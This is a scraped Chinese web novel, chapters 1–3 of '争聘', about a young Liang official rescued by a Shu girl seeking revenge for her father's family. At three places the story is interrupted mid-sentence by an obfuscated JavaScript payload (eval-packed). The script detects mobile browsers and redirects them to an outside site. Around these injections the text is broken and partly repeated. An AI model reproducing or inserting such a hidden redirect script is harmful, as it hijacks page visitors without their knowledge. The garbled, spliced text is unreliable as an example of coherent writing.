《争聘》 1. 第一章 十二月七日,大凶日。 诸事不宜。 时值冬意正浓,天阴欲雪。寒雾笼罩着整个鹊头山,缭绕山谷的浮岚之中,峰峦叠嶂都泛着一缕森冷的佛头青。 一个身着绣蟒貂裘的少年伏在山涧之中,已是奄奄一息。他竭尽浑身之力也挣挫不得分毫,满心的侥幸也渐渐灰败了起来。 涧水已结了霜,烈风一吹,撞打在他身上,堪比剥肤之痛。他几番疼昏过去又因寒冷侵骨而醒,如此反复,他已不知是冷多一些,还是疼多一些。 山谷里人烟绝迹,只偶有几声虫鸟的嘶鸣。头上天色,又越发沉了。少年心想:“怕是等不到拂晓,自己便会冻死。” 乍然之间,雪趁风威而降,如剪玉飞绵,雪珠子纷纷洒洒,卷着寒风打在少年脸上,他也几近麻木,整个人已被冻僵了。 忽地,少年隐约听见一阵“叮叮当当”的摇铃声由远至近,伴着一道轻柔欲融的歌声顺风吹入耳来。他侧耳细听,在数十步外,有人唱着: 君似明月我似雾,雾随月隐空留露。 君善抚琴我善舞,曲终人离心若堵。 只缘感君一回顾,使我思君朝与暮。 魂随君去终不悔,绵绵相思为君苦。 相思苦,凭谁诉?遥遥不知君何处。 扶门切思君之嘱,登高望断天涯路。① …… 神志迷蒙中,少年瞥见一袭雪白裘衣。来人脚步轻盈,遍身裹覆着浓雾,映衬着簌簌而下的碎琼乱玉,好似一株远山的寒梅在他眼前衔霜而开。 随即一股眩晕袭来,少年失去了残存的知觉…… 不知过了几多时日,少年神绪渐清,只觉药香隐隐,周身甚暖。腿上疼痛竟也稍减了。虽还动不得,但已能使上些劲儿。想来是有人替他接骨治伤了。 少年睁开眼来。 雪光踏着一簇红霞压顶而来,刺得他双目一阵发花。 他略振精神,凝目望去。 一轮红日将及西沉,满山银白与浮光交错,云蒸霞蔚,一望无际。鸿雪掩映的山涧边,一个腰悬宝刀的白裘少女独坐在火堆旁,正自怔怔出神。 雪后的落日映着她的裙角,碎金般溶溶洩洩。不时而来的风吹得她皓腕处的铃铛摇曳有声,肃穆又潋滟。 少年不禁有些看呆了,胸口像是给个千斤铁锤重重击了一记,喉咙里痒痒的说不出话来。 他心中自忖道:“想必这小女郎就是那夜雪中摇铃唱歌之人,是她救了我。” 正凝思着,那少女蓦然回首。 少年一瞥之间,只见她星眸杏脸,清如浣雪,正如雪里梅花,泠然出尘。连眉宇间也冷冷的,如聚了一层霜雪。 那少女缓缓开口,问道:“我们蜀人皆言:救命之恩,恩同再造。不知在大梁,是否也是这个理儿呢?” 少年不敢多看,定了定神,答道:“普天之下,自然都是这个理儿。” 那少女走近一步,拔刀出鞘,寒光一晃,刀尖直指少年的头颈,厉声道:“既如此。阁下的家世和仇隙,小女愿得一闻。若有一字作假,我叫你立刻化为脓血而死!” 少年倒也并不如何惊慌。 他鉴貌辨色,心里已捉摸出了大概。这少女约莫是怕救下的是个贼人,才故意作出一副凶恶的模样,一开口却先说漏了她自己的来历。 自文帝崩殂,天下变乱,汉室分裂。齐、晋占了北方,国势强盛。梁室复并江南,休生养息。论国殷民富,当属汉中西蜀为首。如此四足鼎峙了好些年头。直至大齐换了新君,一朝发兵,将西蜀改朝换代,便有了无数亡国破家的蜀地百姓做了南下的难民。 这少女自称是蜀人,大约亦是如此遭遇。 少年不动声色,心中已有打算。 他十分诚恳的答道:“在下姓文,名桓,方在徐州出仕为官。因家父传在下回京腊祭,途中遇袭,坠落山崖。是不是仇隙,还不得知。” 那少女微微颌首,收了刀,道:“见你一身玉冠锦裘,我料知是个贵官公子。” 说着蹲下身来,一个搜风似的巴掌打在少年脸上,劈竹一般的响。她骂道:“你是聋子呀还是泥粪灌进脑子听不明白我的话?敢胡诌硬扭出一套身世来哄骗我,你是真不想活命了?” 少年始料未及,捂着高高肿起的半边脸颊,又惊又怒道:“我哪个字胡诌啦?” 那少女冷笑道:“南北四朝之中,从未听闻有姓文的位居士族。除非搏得军功起家,方能封侯拜将。若是如此,便不会在京中常驻。你若姓文,徐州这等繁华之地的好官轮得到你做吗?” 少年见她言语间轻贱自己,不由得傲骨渐生,大声驳道:“我怎么做不得徐州的官啦?我母家姓阮!” 那少女不解,问道:“姓阮好不了起吗?” 少年横她一眼,道:“你不是见识广博吗?怎会不知大梁后宫中有位阮上嫔?她兄长阮重官拜大将军,我与她家是至亲,有什么出奇?” 那少女哼了一声,道:“原来是个裙带官儿。是什么头衔?” 少年的脸色又暗了下来,道:“州将。” 那少女嗤的一笑,神色中充满了轻蔑之意,道:“毛头小子做州将,可不笑掉了牙,你怎的泡在这水沟里了?” 少年一听大怒,一张脸登时胀得通红,心道:“我自然是本事尚不济,被害得受伤坠崖。可是你也不见得多厉害,不然怎么到我大梁来逃难?咱俩是险道神撞见了寿星老,我也休说你的长,你也休嫌我的短。” 面上却挤出一点苦笑,道:“别人暗算我,在你看来也是我的不是了。” 不知是见少年这么一笑,还是因听他说了这么一句话,那少女当下星眸惊闪,向他呆望了许久。 少年让她瞧得难为情,问道:“你怎么啦?” 那少女问道:“是哪个桓字?” 少年道:“赫矣圣武,抚运桓拨②,便乃‘桓’字。” 那少女长长叹了口气,跟着她声音软化了,问道:“你几岁啦?你说你是州将,那你打过仗没有?” 少年心生奇怪,却头一低,道:“十五岁了。齐主占了蜀国汉中,过了年节,我大梁便要领兵循东路经汉水与蜀军会盟,共伐齐军。我本要随军出征的,现下怕不能够了。你多大啦?如何称呼?” 那少女微一沉吟,脸上闪过一丝恨意,冷笑道:“这么说,你们大梁倒行的好仁义呀,发兵援我蜀军。哼!等赶走了齐贼,我蜀国的山川城池便好送给你大梁做谢礼了。” 少年被她几句抢白,不由得脸上有些讪讪的,只好转了话头,问道:“你一个小女郎如何孤身走到这深山里了?是不是和亲人走散了?” 那少女登时变了脸,十分愤懑,道:“怕什么孤身一人?我便是特意独自来大梁讨债的。我的亲人心肠太好,为人又忠义,本事还大。你们大梁人忒坏!要害死他的。” 少年听她言语中连他也一道骂了,心下甚是不快,但细忖她话中之意,有些不详的遐想,便急问道:“那个很坏的大梁人欠了你什么东西?” 那少女沉着脸,道:“欠了债还债,欠了命还命。” 少年心中一凛,侧头向她瞧去,这般粉雕玉琢的一个小女郎,哪想得到她竟说出这样一句骇心动目的话来。 少年心想:“这小女郎必是遭遇了什么横祸。”想安慰她,又不知该怎样说才适当。 少年正想着措词。忽听见山上一阵急骤的马蹄声,翻盏撒钹一般,矻蹬蹬地如密雷疾响,霹震在净荡荡的山谷之中,是说不出的诡秘恐怖。 少年心里暗暗叫苦,尽力想使自己从容镇定一些,因他十分不愿在这少女面前丢了尊严。 那少女却已看出他心里正慌,问道:“来寻你的?” 少年笑了笑,笑得略显惊惶。 他道:“姑娘,你走吧!是我姑母派人来杀我。” 那少女却似好奇心起,眨了眨眼睛,奇道:“姑侄亲上亲,砸断骨头连着筋。怎么你家的姑母倒要杀侄儿?” 少年淡淡的道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那少女暗暗辨知人数,银牙一咬,她倾身踱出山洞,以石岩为遮挡,随身取出一支机簧精绝的连弩,对准为首的二人,手腕一扬,几枝细箭离弦而出,那二人也立时落马搠倒。 剩余十人急去查看同伴,忽然当中有人叫道:“箭上喂了毒!”就势便要拔步上前擒捉那少女。 少年一惊,踉跄着正欲扑身上前。说时迟,那时快!却见那少女纵身一跃,右手执弩,数箭齐发。左掌使出一招“回风返火”,一串铁蒺藜如飞蝗般袭向那一伙人,雪地里登时应声倒下十具尸体。 少年看得目眩心惊,怔了一怔,道:“原来你的本事这样大。” 那少女语气淡薄,道:“我若没点本事,也不敢来大梁讨债了。” 说着从那伙人骑来的马匹中,选了一匹体躯最高大的马,牵到洞口处。 对少年道:“趁援兵未到,我们赶紧出山谷。” 少年点点头。 二人并骑一马,寻路出山。此时山中冷月斜悬,寒星点点,夜风吹起几道蟾光,拂过那少女的半边脸颊,月影光下,似珠玉乱抛,倾泻着荧荧光华。 少年偷眼看时,心中一动,问道:“你为什么救我?” 那少女道:“你两眉之间有额骨突起,这叫伏犀骨,我爹以前说过,是主贵的。这救命之恩,我将来要讨回的。” 少年微微一笑,道:“一定报答。” 纵马急驰半个更次,方绕过崎岖山道。两人一路相度地势,见四下皆是颠石乱山,并无一个人家。抬头望时,乌云密布,须臾之间,下起倾盆大雨来。 那少女策马一冲,胡乱撞入山林之中。奔过一片山坡,竟看见一座破古庙,庙门大开,墙垣颓败。直匾歪歪斜斜,字迹脱落残缺,勉强拼凑出“业影庵”三字。 那少女下了马,将少年扶将进庙,入的里内,只见殿前悬挂板联一副:山下相逢,只谈因果。世间作伴,莫负烟霞。 少年看了心觉应景,不自禁有些面红耳热。那少女却无心品赏什么板联。她前后检视了一番,未见有人匿伏暗处,心中方稍安,晃亮火折子,点燃了庙中几块残木生火取暖。 两人靠着庙柱并肩坐在火旁,默然无语。庙外西风阵阵,檐雨如绳,庙里火堆毕毕剥剥的爆响着,迸得一蓬火星子四处飞溅。 少年觉得,自己的一颗心也焚燎得滚热了,就要跳出嗓子来。 过了许久,他轻轻问道:“姑娘,你不肯相告名姓,是怕我藏奸吗?其实我……” 2. 第二章 听不见那少女半点声息,少年回眸一瞧,见她双目紧闭,似乎已睡着了。 少年缓缓近身,火光闪动,映在那少女红艳欲滴的脸颊上,像是要渗出鲜血来,红得骇人。 他心下一惊,忙伸手探了探她额头,烫得如火炭一般。想必是适才雨中驰马,使她受了风寒。 可现下身处荒庙野外,无处可寻一个驱寒暖腹的方子。 少年心急如焚,忙将身上锦裘脱下,用火烤得烫烫的,盖在那少女身上,盼她发出些汗会好些。不一会儿,却听她口中发起吁喘来,迷迷糊糊的说要汤水吃。 少年寻思庙中应有水井,便起身去寻。但他腿伤未愈,蹒跚着走出几步就倒在地上。他也顾不得了,半爬半走到了庙殿后,果然有口辘轳井。 辊子上的麻绳还未损坏,便摇了小半桶井水上来,一瘸一拐的拖回庙殿里,煮沸了,小口喂了那少女喝下。 这一来一回,扯动了筋骨,少年的腿伤剧痛更重,加之腹中大馁,饥火烧心,甚为难受。迫得没法,他只好咕噜几口喝完余下的热水,挨着那少女也朦朦胧胧的睡了过去。 忽地,那少年于睡梦中隐隐约约听到“锵”的一声,似是拔刀出鞘的声响。 少年猛地惊醒,原来是那少女半夜醒来,唯恐少年前来侵犯。她此时病躯不济,打他不赢。要趁少年睡着时,将他尘根割了,如此他便有贼胆,也行不了贼事。 幸得上天眷顾,少年醒了来。于是他慌悚不迭的百般讨饶,又急得朝天赌咒绝不敢起色心,少女才暂且罢手。 少年受这一场虚惊,身上直冒冷汗,心里悻悻然暗道:“这丫头虽有观音的貌,却是罗刹的心!将来不知会招个怎样的夫婿,一世受她这喜怒无常的躁劲儿,可要苦大发了。” 自此,这两人便在这庙中栖身,一个养伤,一个养病。渴了便喝井水,饿了便吃庙后树上结的柿果。待得几日,那少女好转了身子,也出去打几只山雀回来烤了,与少年一齐分吃。 少年再不敢心生一点旖旎心思,生怕那少女恼了,他已深知她性子很是作怪。 若说容貌这般柔美,就应是个软款的性情,但她小小年纪,一出手便沾十数人性命,不曾胆寒一下。 若说她狠心辣手,与他萍水相逢却舍命相救,若无她每日为他伤处推宫过血、针灸穴位,他这双腿怕是要瘫了。 可他若与她说笑一句,她那脸上万年寒冰也结得出。问她身世姓名,也只当听不见。 两人这般朝暮相伴,不觉也一月有余,她仍是不冷不淡。 少年心里虽十分感激她,也是十分不敢与她亲近。 何况,她随身那把说是用百种奇毒煨制的连弩,若对准他,保管小命难保。教他睡觉也不敢太沉。 待到冬已将残,雪止天霁,少年腿伤终于见痊,也渐渐可行动自如。当下便与那少女商量结伴前往金陵,她听了有些踌躇,却不言语。 少年便当她目成心许了,也不再多问。 一晚夜半,寂无人声之中,少年梦里听得有人隐隐哭泣之声,细碎而悲戚。 他于梦中醒转,原来是那少女在梦中哭醒了。 少年见她眉黛含愁,眼眶里扑籁籁的坠下泪来,瞧着真叫人难受。 他叹口气道:“你有什么为难的事不妨说出来,只要不是摘星捞月般的妄求,我大约都能替你办到,何苦哭呢?” 那少女惨然道:“我有好多事儿想不明白,最想不明白的是老天爷何苦让我做个人。” 少年皱了眉,道:“做人有什么不好?你救了我,同我去了金陵,日后便是数不尽的好日子啦!” 那少女拭了泪,问道:“怎么个好法?” 少年笑道:“锦衣玉食、呼奴唤婢自不消说了,珍宝珠璧摆在姑奶奶跟前进贡也必是日日有的了。最要紧的是,你这把百毒弩再也使不着了。要打雀儿、要杀人都只需你吩咐一声儿,自有人遵命去办了。” 那少女于婆娑月影中,认真瞧着少年眼中的神色,似乎是在分辨真伪。 她缓缓说道:“我才不信,我要你赌个重誓来听听。” 少年眼中闪过一丝狡猾神色,道:“你连名字也不告诉我,我赌再重的誓,老天爷便是有灵,也不知是谁呢。” 那少女敛了眸,过了好一会儿,才道:“好罢!告诉你本也无妨,我叫薛隆爱。” 少年笑了,郑重其事的挺直脊背,举起右手,道:“皇天在上,三灵为证,阿桓誓言今生竭尽所有报答薛隆爱姑娘的救命之恩,与她同心共意,她的仇敌便是我的仇敌,必将此人斩尽杀绝。如有违誓,天诛地灭,万世不得人身,亿载永沉末劫。” 立完誓,少年转头瞧她,微微一笑道:“现下,你可放心告诉我仇人是谁了吧。” 薛隆爱蹙了眉,随又叹道:“小官人,多蒙你的好心。不过这账里藏着许多端倪,我也糊里糊涂的。待我们到了金陵查清楚,才能明了。” 那少年大喜,昂然道:“好!那我们便到了金陵再查。” 待得天明,初春的晨间霜气横空,朝霭淡沱,缓缓卷舒在刚破晓的天际,两人便起身上路,离这古庙快步而去。 行了几里路,少年恐薛隆爱行路辛苦,便在南陵县上投店歇宿。又从怀中拿出两锭大元宝,叫个伙计寻间倾银铺称分成一包碎银,再替两人买些簇新衣衫。 当夜两人便在客店中洗漱一番,整顿行装。第二日一早,向店家买了两匹快马,两人并辔而行,纵马前往鹊洲渡口。 这时正是春冻初融,两岸江梅开遍,花光满路,微风过处,枝头簇动,纷纷落红成阵,散落成一洲花海,金碧楼台相映成趣,望之如绣。 行至渡口,两人先找了间临岸的酒楼进食。由伙计引着上楼,选了一副上等座头,靠窗而坐。要了一碟缹鸡、一碟胡炮肉、一碟红糟鲥鱼,一碟芦菔,另有一锅饴糖杏仁麦粥。 两人漱了口,正自在吃着。忽见楼中东首处小阁子里走出一个浓眉阔脸的英气婢女,径直走来他们座前。 那婢女躬身行礼道:“叨扰两位尊客,我家夫人请这位小女郎叙话。” 少年和薛隆爱齐齐看过去,那阁子门首虚掩着,像是有个身影袅娜的女子在里边坐着,但看不清面容。 少年见薛隆爱迟疑不应,便先行还礼,道:“承尊夫人厚意,在下与妹妹连日鞍马劳顿,精神不济,不便赴会。请尊夫人见谅。” 那婢女望着薛隆爱,又道:“女郎腰间这把错金刀,乃是我家夫人相熟之物,倘若推辞,恐与故人失之交臂,还请女郎赏脸移玉。” 薛隆爱怔然垂首,许久方指着少年道:“我要他陪我一同去。” 那婢女忙摆动手臂,道:“两位请!” 珠帘掀起。 少年护着薛隆爱缓步踏入阁中,未见其人,先觉暖香拂面。 举目看时,只见阁中数般雅致,一篆炉烟半烬,香云缭绕中,一妇人立在瓶花之下,恍若月宫仙子降瑶台。 那妇人年过三旬,高鬟长眉,鲜眸玉腕,一身花钿绣袄,十分珠光耀人。便是世上擅绘美人的名家,也画不出这般天然的眉目。 少年一瞄,甚奇。 薛隆爱竟和这妇人长得极其相似! 若非亲眼所见,定不会有人相信,世上竟有如此相像的两个女子。 只有看得十分仔细,才能发觉她二人面容虽别无二致,实质上却是两个完全不同的女子。 她俩都长了一副观音相,十分的慈眉善目。不过,年长的这妇人是一樽绣珠观音,被供奉在朱门黄阁所造的佛殿之上,面容饱满又华艳。眉目中虽有些拨不开的哀怨,也清楚可见常年养尊处优方有的天真。 而薛隆爱,她是一尊已坐化的肉身观音。自一座荒废百年的古刹里破土而出,鬼灯一线里落着一身死灰。明明是稚齿韶年的面容,却难掩眸中从末世携来的颓丧。踉跄徘徊在尘世中,竭力扮着冷心冷肺的样子,凌厉而又凄惶,不时漏泄着她心胆皆碎的底细,令人忍不住要去怜惜。 或许,这不过是同一个女子的昔时与来日,却在这一长一少的两个女子身上错乱颠倒了。 少年暗自诧异。 他侧眼去看薛隆爱,见她脸上始终冷冰冰的,并不说话。 正惊奇间,这妇人忽然扑上前来,抓住了薛隆爱的宝刀,盯着她的脸庞,急促着呼吸,颤抖着声音道:“这把刀,你从哪里得来?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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少年答道:“我母舅起家于大散关之战,常听他说起萧司马当年在军中策无遗算的智谋,在下慕其王佐之才久矣。” 妇人不甚在意,凝注着薛隆爱,再三追问道:“他当真死了吗?是你亲眼所见吗?” 薛隆爱点点头,道:“本该接应我们归梁的暗卫十八人,摆出一套极古怪的阵法,刀光剑影里,暗器变幻,我们措手不及之际,暗处稳稳射出一箭,爹挡在我身前,用心口接住了这一箭。” 说到“这一箭”几个字,薛隆爱已哽咽难言,终是忍不住堕下泪来。 妇人沉吟许久,眸中的悲伤已渐渐变为一种怨毒,她望着薛隆爱,咬牙恨恨道:“这样说来,他是因你而死了。” 薛隆爱登时怔住。 少年忍不住道:“生死险境之前,父亲保护孩子之心理所当然,怎么能怪薛姑娘呢?” 这妇人秀眉一扬,脸色又冷又硬,忽又笑了,问道:“这个美少年是谁家的孩子?” 少年道:“我于夫人无关紧要,你该问问薛姑娘的名字。” 妇人目光转到薛隆爱脸上,问道:“你叫什么名字?” 薛隆爱道:“我叫薛隆爱,爹说他和我娘的情意是隆爱结在昔,信誓贯三灵。①你……你是……?” “当然不是!”这妇人一惊,杏脸含嗔,说道:“我是与萧郎盟誓之人,但我与你毫无干系!其实你与萧郎并无血缘,你姐姐才是他的女儿,或许……他是把你想做了他和我的孩子。” 薛隆爱腾地站起身来,大声喝道:“你胡说!若姐姐才是爹的女儿,爹怎会……怎会那般待她?又如此百般爱我?你胡说!” 妇人瞥她一眼,淡淡的道:“不是我胡说,是你还不懂。婚嫁是选择一种人生,孩子是媾合的结果,情爱是另一件事。” “我嫁的人不是他,他娶的人也不是我,我和他在世上各有一点骨血,但不因爱而生,所以我们恨其如仇敌,厌其如鸱枭。” 少年在一旁听得惊呆了,见薛隆爱气得脸都蜡黄了,小心扶她坐下,道:“夫人,烦你将事情说个清楚,骨肉血脉怎可混淆颠倒?” 妇人轻揩泪痕,对薛隆爱嫣然一笑,道:“丫头,你真想知道这其中的来龙去脉?我可有言在先,这些旧事里没有一个鬼,却尽是比鬼还要丑陋可怖的人,伥鬼恶灵做不出来的事,他们都做的出。” 薛隆爱通身打了一个冷噤,点了点头,道:“请您告知其中衷曲,让我知道仇人究竟是谁。” 3. 第三章 时序已近二月,春意却仍萧条。 洲畔渡口夜来西风乍紧,侍婢早早焚上了一篆辟寒香。榻上这座鎏金卧银的竹节博山炉,是至兰陵萧氏宝库中,流传到琅琊王氏手中。 薄烟袅袅里,炉身上浮雕的金龙朦胧飘渺,香气馥郁袭人,闻久了便令人忍不住发怔。 那妇人凄然一笑,她细瞧着眼前这个与她年轻时几乎一模一样的小女郎,思潮似乎陷入了久远的回忆之中…… 她蛾眉紧蹙,汪着泪眼说道:“往事始末,说来难以描叙,要论前因开首,到如今也有整整二十五年了。 “那是大通七年的隆冬,冷气袭人,悲风飒飒,草木皆已零落,唯有池岸的芦花正值抖擞,衬着远山耸翠,一簇又一簇的飘荡,像绞碎了一匹雪白的绉纱。 “绉纱也唤作纱縠,是汉时便以薄如烟雾闻名的一种织物。神女赋有言:动雾縠以徐步兮,拂墀声之珊珊。神女也爱的衣物自然是好的。其中以亳州所出的云雾纱为最上品。我十二岁时,便得了一匹。不是雪白的,是妃红嵌金线的,又鲜亮又轻软,用作我出阁的嫁衣。 “说是嫁,不过是琅琊王家替生来成骨不全的小儿子,买进一个终生侍婢。我的终生,值当一匹名贵的云雾纱,我该高兴。出嫁那日,我坐着蓝布轿,从侧门被抬进王家,我心想:若我连人带衣的绞碎成渣滓,能不能随风飘到一个自由自在的地方去呢?” 薛隆爱很是诧异,问道:“你爹娘舍得?” 那妇人微微一笑,道:“我本家姓薛,因我出生时,油灯里爆了个烛花儿,小字就唤做烛娘。我祖父是琅琊王氏部曲里的家兵,永安之乱后,随主公南迁落籍医户。做奴仆的得主子恩遇,他们谢恩还来不及,怎会不舍得?” 薛夫人续道:“三朝回门,过一个时辰便少一个时辰。只要能出王家,我就很高兴,在家配药方子玩儿。我瞎琢磨,用雪上一枝蒿另加七味草药熬制成了一种花膏,用以治疮毒骨伤。我大兄却说雪上一枝嵩有剧毒,不能胡乱配药。其实他是不信,一个十二岁的女娃娃能配出什么灵药来。 “我不服气,便要去后山抓只鸟儿试给他瞧瞧。我追着一只小鸦雀往山僻小径里越走越远,一眨眼的功夫,它却飞进芦花荡里,再也寻不见。我见天色晚了,正待要走,却心下一震,瞧见芦花深处似直挺挺躺着个活尸。我近身一瞧,竟是一个绝美少年。 “他头戴貂冠,一身玄色织锦披袄,眸如掣电,瑰姿俊伟。估他年纪,不过十三四岁的光景。腰间挂着一把错金刀,刀镗上螭虎交错盘桓,刀脊两面镌刻着‘豪胆如炬,华冠闯然’八个字。” 少年瞧了一眼薛隆爱腰间,对她示意道:“那便是你这把宝刀了。” 薛隆爱点点头,继续听薛夫人叙说下去:“我正奇怪着,蓦地闻到一阵血腥味,一细看,他脚踝处渗出好多血来,人也脉气将绝,神情很惨淡,但不减半分飘洒轩昂之器宇。我猜准是毒蛇咬了他,心下顿生怜惜,便将毒血一口一口的替他吸出来。取出那盒用雪上一枝蒿制成的花膏,涂在他伤口上。” 薛隆爱听到这里,顿时恍然道:“原来‘薛雪蒿’这个名字由此而来。因你姓薛,因你与爹相遇时,用雪上一枝蒿所制的花膏替他解了蛇毒。” 薛夫人泫然欲泣。 少年时研制的花膏,她早已撇忘。此刻忆及,她似乎又回到了那个摧煞节候的隆冬,又看见了那个蛇毒发作的玉面少年。可是他已死在了他乡,死在了将要与她团圆的前一刻。 少年道:“后来如何?” 薛夫人叹道:“后来……他目光灼灼,无限情意落在我的眼中,我一点儿也不躲避,冲他迎眸一笑,他自然懂得。正欲开口之际,我们忽听见几声喧囔,我转头一看,只见芦花荡外射进一派火光来。他将手指比在唇边,示意我噤声。我冲他指了指滩头边的小路,便转身走了出去。 “我大兄从火把光中急跳出来,拉着我埋怨说:‘小妹,你越大越不懂事了。天晚了你竟不知家去!三爷来接你回府,见你不在,满山寻你。咱快回家收拾行装,准是小郎君离不得你。’ “我见大兄殷勤巴结的模样,心里很气恼,道:‘不过追只鸟儿玩罢了,不想进了芦花荡,多瞧了几眼景色而已,能遇见鬼不成。’ “王家人说:“本没什么,只是近日京里有贼寇出逃,你家庄子里守卫不严,恐不稳妥,才来接你。等过了这桩事,由你回来多住些日子,现下先随我回去。烛妹,你方才有见到什么可疑的人不曾?’ “我心念一动,道:‘鬼影都不曾有一个。’回了王家,我留了心听丫鬟们嚼舌,原来一日之间,出了一场灭门惨祸。 “在金陵南郊的畿县乡下,原本住着一户世代簪缨的人家。这户人家是汉时酂侯萧何的后人,家风是极清贵的。为父母的慈爱,为子女的孝顺,手足间亦是和睦友爱。 “一日,萧家家庙的主持探心师太状告文简公萧渊厌祷,廷尉监谢吟于萧家家庙的佛塔后地挖出一个射偶人。文简公暴惊毙命,萧夫人阮韬元率部曲拒捕被俘,狱中咬舌而亡。 “萧家长女萧贞光自幼爱佛法,不愿求聘,十五岁始在家庙受戒礼佛。事发后,持刀拎着探心师太的人头,欲闯谢府,谢家喝教家兵将其活活打死在门首处。 “关都尉王徽邦在关隘处,稽查出萧家长子萧勇假造符节征调亲兵回京,即行斩首。萧家小女萧智光带着幼弟趁乱杀出,不知往哪里逃命去了。” 薛隆爱“啊”的连声惊呼,眼中愤恨尤深,道:“萧家幼子便是我爹,对不对!是谁害的?我定要杀的他家满门老小一个不留!” 薛夫人却只冷笑,道:“你是该有这份心,愿你日后不要手软才好。” 薛夫人又续道:“当时我一听,也九分猜道是他。心下为他庆幸,也不由得替他去想,他已家破人亡,孑然无依,一个十三四岁的少年能去何处安身立命呢?后来六七年里,但凡我家去,必去那芦花荡里待上许久。好几次我都以为是他回来了,满心欢喜的转过身,却只是几只鸦雀掠过,并不见他身影。但好在也始终不曾听到他被捉拿的消息。” 薛隆爱咬牙切齿,问道:“贼人究竟是谁?为着什么缘故要下这般狠手?” 薛夫人向炉内添些香膏,那烟雾又再喷薄而出,她望着那一篆炉烟,沉默了许久,才道:“你问缘故,说来就真好笑了。你可知道永安之乱?” 薛隆爱摇了摇头。 少年寻思道:“永安之乱,文帝诸子你杀我,我杀你,至亲之乱招致国家之祸,自此汉室倾颓。这与萧家之祸也有关连吗?” 薛夫人道:“自然是有。永安之乱后,中原士族渡水南迁,建都金陵,拥立汉王幼子为帝。百官朝贺时,幼帝三请大司马王介山和太傅谢遹同坐御床受礼。从此,他二人同朝辅政,两家也联络有姻,却并不同心同德。王、谢两家的子弟间也屡屡竞相斗富,从园圃大小、奴仆数量斗到出行的卤簿仪仗。 “到后来,连宴饮席上的酒器都要比较一番。两家人你追我赶,互不相让,争相寻觅世间珍宝,只为比对方更胜一筹。 “有一年,波斯使臣向王家进献了一株珊瑚树,那树足有三尺高,已是世间少见。最难得的是树上雕簇的芙蓉玉花朵,玉质如琼浆初凝,拂之落痕,其间缀明珠为花蕊,夜间现映,满堂辉煌如昼,见之皆叹。 “王家有了这样一株奇珍,谢家不服,寻遍大江南北,终于得到了当年南越王献给始皇帝的那株烽火树。 “那年的元日朝会上,谢家将那株高一丈二尺、红光流熠的珊瑚树示以人前,随即谢家七公子用一把铁如意将其击碎。他道:‘所谓希世之珍,于我陈郡谢氏而言,不过是破铜烂铁而已。只有那些久贫乍富的人家才会恨不得当祖宗牌位一般供起来。’” 薛隆爱听到此处,心里顿生说不出的厌恶,跺足恨道:“如此穷奢极欲,就不怕自家有久富乍贫的一天吗?州郡失据,被迫南迁,不想着收复国土,却斗富到此等地步!我若是幼帝当下旨,谁的珍宝更奢华,谁家就筹备军饷,谁家的奴仆最多,谁家就点将出征,看谁还敢这般闲得讪牙,终日找无趣。” 少年见她说这话,心中暗暗好笑:“小女孩家未谙世事,傀儡皇帝如何对权臣发号施令?” 这句话却是不敢对薛隆爱说出口,对薛夫人道:“王家颜面尽失,怕是要怀恨在心了。” 薛夫人点头,道:“王大公子耗费数十万金造了丈八金像七躯,座座端严奇巧,旷古未有。王家将佛像献与皇寺,用以佛诞日巡游,其意是要谢氏满门往后年年月月都要对着王家的佛像下跪参拜。 “可佛像造得过大,寻常像辇不可载重。王家有门客进言说萧家家庙中有座金织像辇,是萧家祖传之物。那像辇去地三丈,百人方能抬举。不仅能载得下这些佛像,出游之日还可使伎乐在上作飞天舞。王大公子便向萧家相借,萧家文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634505|172602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简公向来德高,不耻王谢两家斗富的行径,不肯借。” 薛隆爱难以置信,颤声道:“就因萧家不肯借出祖传之物,王家便将其满门害尽?那谢家为何相助王家?王谢两家不是不和吗?” 薛夫人道:“王谢两家也共坐江山。时而为敌,时而为友,因利相争,亦因利同心。” 少年问道:“王家想得到萧家的祖传像辇,谢家想得到萧家何物?” “王家图财,谢家图色。谢七公子是个拾翠寻香的花花元帅,相好女子遍金陵,连比丘尼也曾染指不少。盂兰盆节,谢七公子与贞光娘子有一面之缘,便想将其弄得到手,数度逗引于她。 “贞光娘子将此事告知文简公。待上朝奏事时,文简公见到谢太傅,起手即打,当众吟诵谢七公子写与贞光娘子的情诗。 “并骂嚷道:‘过了江你家就遮天盖日了?老的大的没有丝毫扶危持颠之心,小的幼的也不知道丁点礼义廉耻,臭是一窝,烂成一块!糟包着一张贼眉鼠眼,引着一群俊仆豪奴,不是横行霸道,就是投身烟花,你以为这是风流韵事?是娼家女命苦!捏着鼻子忍恶臭之气罢了!连我一个松贞玉刚的女儿也盘算上了,写出这些狗屁不通的东西脏她的眼。你家的杂种羔子是瞎了眼还是瞎了心去扰她?谢遹!你是死人啊不管教!就由你儿子光着腚拉磨,转着圈丢人!’不日,文简公这篇骂词传遍整个江南,家家户户私下议论纷纷。” 薛隆爱拍掌称快,道:“痛快!文简公好口才!” 少年却道:“谢遹位极人臣,受此辱骂,恐怕已记下大仇了。文简公爱女之心虽可敬,但言语如刀至此,终会惹下祸端。” 薛隆爱脸色一变,甚是恼怒,道:“是他儿子辱自家门楣,文简公明明字字在理,谢家无理便仗势害人。” 少年嗯了一声,笑道:“无理之人已得势,若没有一击即中的把握,不可轻举妄动,否则反害己身。” 薛隆爱不理他,问薛夫人道:“就因如此,王谢两家便联手害了我爹满门?” 薛夫人点点头。 薛隆爱冷笑一声,道:“果然可笑。后来又如何?” 薛夫人叹道:“萧家被灭门的第七年,王介山去世,谢遹一人独大,大兴排除异己,王家也七零八落了,只好避出金陵。 